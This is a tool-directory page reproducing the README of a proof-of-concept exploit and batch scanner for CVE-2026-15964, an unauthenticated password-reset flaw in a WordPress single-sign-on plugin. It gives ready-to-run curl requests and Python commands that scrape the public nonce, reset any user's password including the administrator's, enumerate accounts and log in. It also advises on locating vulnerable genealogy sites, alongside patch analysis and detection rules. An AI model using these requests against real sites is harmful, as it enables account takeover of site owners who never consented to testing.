Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-15964-PoC — PoC & checker for CVE-2026-15964 - unauthenticated password change in the WordPress plugin Single Sign On For TNG <= 2.0.0 (CVSS 9.8) | Kitploit
Tools/GitHubGitHub/instructor-admin/cve-2026-15964-poc
Authentication & AuthorizationPrivilege EscalationWeb Vulnerability ScannersExploitationWeb Application ExploitationInformation GatheringWeb SecurityPenetration Testing

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
GitHub
instructor-admin/cve-2026-15964-poc

CVE-2026-15964-PoC

PoC & checker for CVE-2026-15964 - unauthenticated password change in the WordPress plugin Single Sign On For TNG <= 2.0.0 (CVSS 9.8)

View Repository
118 days agoNot yet reviewed

CVE-2026-15964 - Single Sign On For TNG <= 2.0.0

POC

Unauthenticated privilege escalation via unverified password change in the WordPress plugin Single Sign On For TNG.

SeverityCritical (9.8) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWECWE-620 (Unverified Password Change)
Affectedplugin versions 1.0.0 through 2.0.0
Fixed in2.1.0 (released 2026-07-27)
Published2026-08-01
Auth requirednone (wp_ajax_nopriv_ssoprocess_ajax)
Impactchange the password of any WordPress account, including administrators - full site takeover
Pluginhttps://wordpress.org/plugins/single-sign-on-for-tng/

TL;DR

Any unauthenticated visitor can change the password of any account on a site running the plugin at 2.0.0 or earlier. Two HTTP requests:

  1. GET the homepage and copy the nonce from the SSOPWDREQUIREMENT JavaScript object.
  2. POST it to admin-ajax.php with operation=setnewpassword, a victim email and a new password.

WordPress core's reset_password() does the rest. No token, no email confirmation link, no capability check. Log in as admin afterwards.

root@kitploit:~
NONCE=$(curl -sk https://target/ | grep -oP "SSOPWDREQUIREMENT\s*=\s*\{.*?'nonce'\s*:\s*'\K[0-9a-f]{10}")
curl -sk -X POST https://target/wp-admin/admin-ajax.php \
  -d "action=ssoprocess_ajax&nonce=${NONCE}&operation=setnewpassword&[email protected]&password=Pwned!@2026x"
# -> {"success":true}

Why this works

The handler is registered for unauthenticated users

In single-sign-on-for-tng.php (v2.0.0):

root@kitploit:~
add_action('wp_ajax_ssoprocess_ajax',        array($this, 'ssoprocess_ajax'));   // line 68
add_action('wp_ajax_nopriv_ssoprocess_ajax', array($this, 'ssoprocess_ajax'));   // line 69

wp_ajax_nopriv_* means the handler is reachable with no session at all.

The only guard is a nonce the plugin hands to every visitor

load_scripts() is hooked to wp_enqueue_scripts, so on every front-end page the plugin prints this into the HTML:

root@kitploit:~
wp_localize_script('general_script','SSOPWDREQUIREMENT',
    array('passwordspec'=>PASSWORDSPEC,
          'url'=>admin_url('admin-ajax.php'),
          'nonce'=>wp_create_nonce("ssoajaxnonce")));                              // line 96

Which renders as:

root@kitploit:~
<script id="general_script-js-extra">
var SSOPWDREQUIREMENT = {"passwordspec":"...","url":"https://target/wp-admin/admin-ajax.php","nonce":"9c0de6ab12"};
</script>

And the handler verifies it like this:

root@kitploit:~
public function ssoprocess_ajax() {
    global $wpdb;
    check_ajax_referer('ssoajaxnonce', 'nonce');   // line 104
    ...

The catch: WordPress computes nonces with wp_create_nonce($action) using uid and the session token. For logged-out visitors those are 0 and an empty string, which means every anonymous visitor gets the exact same nonce. It is only re-rolled every 12 hours (the nonce tick). So the nonce that the plugin prints for any visitor is also valid for the attacker - there is no secret to steal, it is published on the page itself.

And then the actual change, with zero ownership proof

root@kitploit:~
switch ($op) {
    case 'setnewpassword':
        if (!isset($post['email']) || !isset($post['password'])) { ... }
        $email = wp_unslash($post['email']);
        $user  = get_user_by('email', $email);
        if ($user !== false) {
            reset_password($user, $post['password']);   // line 120
            ...
            wp_send_json_success(array('success'=>true));
        }
        else
            wp_send_json_error(array('success'=>false));
        break;

reset_password() is a WordPress core function. It sets the new hash, logs the victim out of every other session, and fires the password_reset / after_password_reset actions. It is called here with nothing proving the caller is the account owner.

Two extras worth knowing:

  • No server-side password strength check on this path. The plugin's MINIMUM_PASSWORD_LENGTH / PASSWORDSPEC rules are only enforced in validate_form() for Forminator forms, never here. Any password is accepted.
  • Account enumeration. {"success":true} vs {"success":false} tells you whether an email is registered. The checker's --enum-only mode uses this.
  • Bonus bug in the same function: operation=set_tzoffset calls update_option('localtzoffset', $post['timezoneoffset']) unauthenticated. Not directly exploitable for RCE, but it is an unauthenticated option write and worth mentioning in the writeup.

What changed in 2.1.0

Diffing 2.0.0 against 2.1.0 makes the fix obvious (and confirms the bug):

root@kitploit:~
             case 'setnewpassword':
+                $timeout = intval($post['timeout']);
+                if (time() > $timeout) {
+                    // clears custom_recovery_token / _expiration / _nonce user meta
+                    wp_send_json_error(array('success'=>false,'message'=>'The time to submit the new password expired...'));
+                    return;
+                }
                 $email = wp_unslash($post['email']);
                 $user  = get_user_by('email',$email);
                 if ($user !== false) {
                     reset_password($user,$post['password']);

plus, in newpasswordform():

root@kitploit:~
+            if (empty($_GET['uid']))
+                return ... "An unexpected error occurred." ...
+            $user_id = intval(sanitize_text_field(wp_unslash($_GET['uid'])));
+
+            // The nonce is checked here
+            if (wp_verify_nonce(get_user_meta($user_id, 'custom_recovery_nonce', true), 'ssopwdnonce') === false)
+                return ... "This recovery link is no longer valid." ...

So in 2.1.0 the flow is: a real recovery request stores a per-user custom_recovery_token + custom_recovery_nonce in user meta, the recovery link carries the user id, the form validates both, and the AJAX handler refuses to run once the recovery window (timeout) has expired. An attacker who can't produce a live recovery record can't drive setnewpassword anymore.


Reproduction (manual)

Step 1 - scrape the nonce

root@kitploit:~
curl -sk https://target/ | grep -oE "SSOPWDREQUIREMENT[^;]+"

Step 2 - change the password

root@kitploit:~
curl -sk -X POST https://target/wp-admin/admin-ajax.php \
  -H "X-Requested-With: XMLHttpRequest" \
  -d "action=ssoprocess_ajax&nonce=<NONCE>&operation=setnewpassword&[email protected]&password=Pwned!@2026x"

Expected response on a vulnerable install: {"success":true}

Step 3 - log in

root@kitploit:~
curl -sk -X POST https://target/wp-login.php \
  -d "[email protected]&pwd=Pwned!@2026x&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1"

PoC: CVE-2026-15964.py

Single-site exploit. Non-destructive modes included.

root@kitploit:~
# one-shot: scrape nonce + change the admin password
python3 CVE-2026-15964.py -u https://target -e [email protected] -p 'NewPass!2026x'

# just scrape the nonce
python3 CVE-2026-15964.py -u https://target --scrape-only

# reuse a nonce you already have
python3 CVE-2026-15964.py -u https://target -e [email protected] -p 'NewPass!2026x' -n 9c0de6ab12

# account existence oracle (no password is set)
python3 CVE-2026-15964.py -u https://target -e [email protected] --enum-only

# fully passive: is the plugin even installed? (GET only)
python3 CVE-2026-15964.py -u https://target --check

Checker: CVE-2026-15964-checker.py

Batch scanner for your own site lists. Non-destructive by design - it never changes a password.

How it classifies each site:

  1. HTML fingerprint - SSOPWDREQUIREMENT object or the /wp-content/plugins/single-sign-on-for-tng/ asset paths in the homepage.
  2. Version - readme.txt Stable tag: line. <= 2.0.0 is vulnerable, >= 2.1.0 is patched. This is authoritative per the CVE.
  3. Behavioral probe (--probe, only when the version can't be read) - posts operation=setnewpassword with a non-existent email. A 2.0.0 install answers {"success":false} with no error message; a 2.1.0 install answers with the "time to submit the new password expired" message. A real email is never sent - sending one would actually reset the password.
root@kitploit:~
# scan a file of URLs, with the safe probe and 20 workers
python3 CVE-2026-15964-checker.py -f sites.txt --probe --workers 20 --csv results.csv

# or a handful of URLs directly
python3 CVE-2026-15964-checker.py -u https://a.com -u https://b.com

Sample output:

root@kitploit:~
URL                                             VERDICT           VER      NONCE  DETAIL
--------------------------------------------------------------------------------------------------------------
https://lab.example.com                         VULNERABLE        2.0.0    yes    readme Stable tag 2.0.0 <= 2.0.0
https://lab2.example.com                        PATCHED           2.1.0    yes    readme Stable tag 2.1.0 > 2.0.0
https://plain-wp.example.com                    PLUGIN_NOT_FOUND  -        -      

Total: 3 | VULNERABLE: 1 | PATCHED: 1 | UNKNOWN: 0 | other: 1

Verdicts: VULNERABLE / PATCHED / PLUGIN_NOT_FOUND / NOT_WORDPRESS / UNKNOWN / ERROR. UNKNOWN usually means a WAF, an aggressive CDN cache or a site that blocks the readme - check those by hand.


Testing the tools locally

tests/mock_server.py emulates six cases (vulnerable-by-version, patched-by-version, vulnerable-by-probe, patched-by-probe, WordPress without the plugin, non-WordPress). This is how the checker's logic was validated before pointing it at anything real:

root@kitploit:~
# terminal 1
python3 tests/mock_server.py 8081 vuln_readme

# terminal 2
python3 CVE-2026-15964-checker.py -u http://127.0.0.1:8081 --probe
# -> VULNERABLE

pip install -r requirements.txt gets you the only dependency (requests).


Notes from the field

Honest context, because it affects how you use this.

  • This plugin targets TNG (The Next Generation of Genealogy Sitebuilding), i.e. hobby genealogy sites. It is a very small ecosystem: roughly 1,600 lifetime downloads on wordpress.org, active installs hidden (< 10), first release October 2024.
  • Because 2.1.0 only appeared on 2026-07-27, the overwhelming majority of downloads are vulnerable versions. If you find an install at all, it is very likely still vulnerable.
  • Discovery is the hard part. The plugin leaves no trace in Shodan's index (I checked every fingerprint I could think of - zero results), and even finger-printing the top 1,000 WordPress hosts Shodan returns found no installs. Your best sources are: Google inurl:"single-sign-on-for-tng", "SSOPWDREQUIREMENT" in search engines that index full page source (PublicWWW, Censys, FOFA), and the TNG community itself (tngsitebuilding.com, genealogy forums).
  • The checker's UNKNOWN bucket will be comparatively large on real genealogical sites - many run behind aggressive caching or block readme.txt. Don't read that as "not vulnerable"; check by hand.

Detection & remediation

  • Update to 2.1.0 (or remove the plugin entirely).
  • WAF rule: reject admin-ajax.php POSTs where action=ssoprocess_ajax does not come from an authenticated session; alert on setnewpassword from anonymous sources.
  • Monitor wp_users.user_pass hash changes and the password_reset / after_password_reset actions; watch for admin logins immediately after a password change.
  • Treat ssoajaxnonce as public knowledge - it always was.

References

  • https://www.cve.org/CVERecord?id=CVE-2026-15964
  • https://mondoo.com/vulnerability-intelligence/vulnerability/CVE-2026-15964
  • https://www.wordfence.com/threat-intel/vulnerabilities/id/1d8d393e-764c-491d-8afb-7d4f8d0c387a?source=cve
  • Vulnerable source (2.0.0): https://plugins.trac.wordpress.org/browser/single-sign-on-for-tng/tags/2.0.0/single-sign-on-for-tng.php
  • Fixed source (2.1.0): https://plugins.trac.wordpress.org/browser/single-sign-on-for-tng/tags/2.1.0/single-sign-on-for-tng.php
  • https://plugins.trac.wordpress.org/changeset?reponame=&old=3624827%40single-sign-on-for-tng&new=3624827%40single-sign-on-for-tng

Disclaimer

This repository is for authorized security testing and educational purposes only. You are responsible for your own actions. Do not run these tools against systems you do not own or have explicit written permission to test. Unauthorized access to computer systems is a crime in most jurisdictions.

Download Tool